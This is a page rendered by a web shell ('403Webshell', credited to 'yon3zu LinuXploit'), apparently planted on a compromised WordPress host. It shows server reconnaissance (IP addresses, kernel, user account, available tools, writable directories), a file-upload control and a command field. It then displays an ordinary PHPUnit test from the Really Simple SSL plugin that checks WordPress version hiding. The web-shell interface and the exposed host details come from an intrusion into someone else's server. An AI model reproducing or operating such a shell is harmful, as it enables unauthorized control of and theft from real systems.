403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/blueversion/wp-content/plugins/really-simple-ssl/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/blueversion/wp-content/plugins/really-simple-ssl/tests/test-hide-wp-version.php
<?php

class RssslRemoveWPVersionTest extends WP_UnitTestCase {

    /**
     * Set up the test environment.
     *
     * @return void
     */
    public function setUp(): void {
        parent::setUp();
        require_once __DIR__ . '/../security/wordpress/hide-wp-version.php';
        add_filter('rsssl_fixer_output', 'rsssl_replace_wp_version');
    }

    /**
     * Test if rsssl_remove_wp_version is hooked to the 'init' action.
     *
     * @return void
     */
    public function test_rsssl_remove_wp_version_hooked() {
        $this->assertNotFalse(has_action('init', 'rsssl_remove_wp_version'));
    }

    /**
     * Test if rsssl_replace_wp_version function works as expected
     * and is hooked to the 'rsssl_fixer_output' filter.
     *
     * @return void
     */
    public function test_rsssl_replace_wp_version_hooked() {
        $wp_version = get_bloginfo('version');
        $new_version = hash('md5', $wp_version);

        $html = '<link rel="stylesheet" href="http://example.org/wp-includes/css/style.css?ver=' . $wp_version . '" />';
        $expected_html = '<link rel="stylesheet" href="http://example.org/wp-includes/css/style.css?ver=' . $new_version . '" />';

        $result = rsssl_replace_wp_version($html);
        $this->assertEquals($expected_html, $result);

        // Ensure the filter is hooked
        $this->assertNotFalse(has_filter('rsssl_fixer_output', 'rsssl_replace_wp_version'));
    }

    /**
     * Test if rsssl_remove_css_js_version function works as expected.
     *
     * @return void
     */
    public function test_rsssl_remove_css_js_version() {
        $wp_version = get_bloginfo('version');
        $new_version = hash('md5', $wp_version);

        $test_src = trailingslashit(site_url()) . 'wp-includes/js/jquery/jquery.min.js?ver=' . $wp_version;
        $expected_src = trailingslashit(site_url()) . 'wp-includes/js/jquery/jquery.min.js?ver=' . $new_version;

        $result = rsssl_remove_css_js_version($test_src);
        $this->assertEquals($expected_src, $result);

        // Test when the source does not contain 'wp-includes' or '?ver='
        $test_src = trailingslashit(site_url()) . 'some-js-file.js';
        $result = rsssl_remove_css_js_version($test_src);
        $this->assertEquals($test_src, $result);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit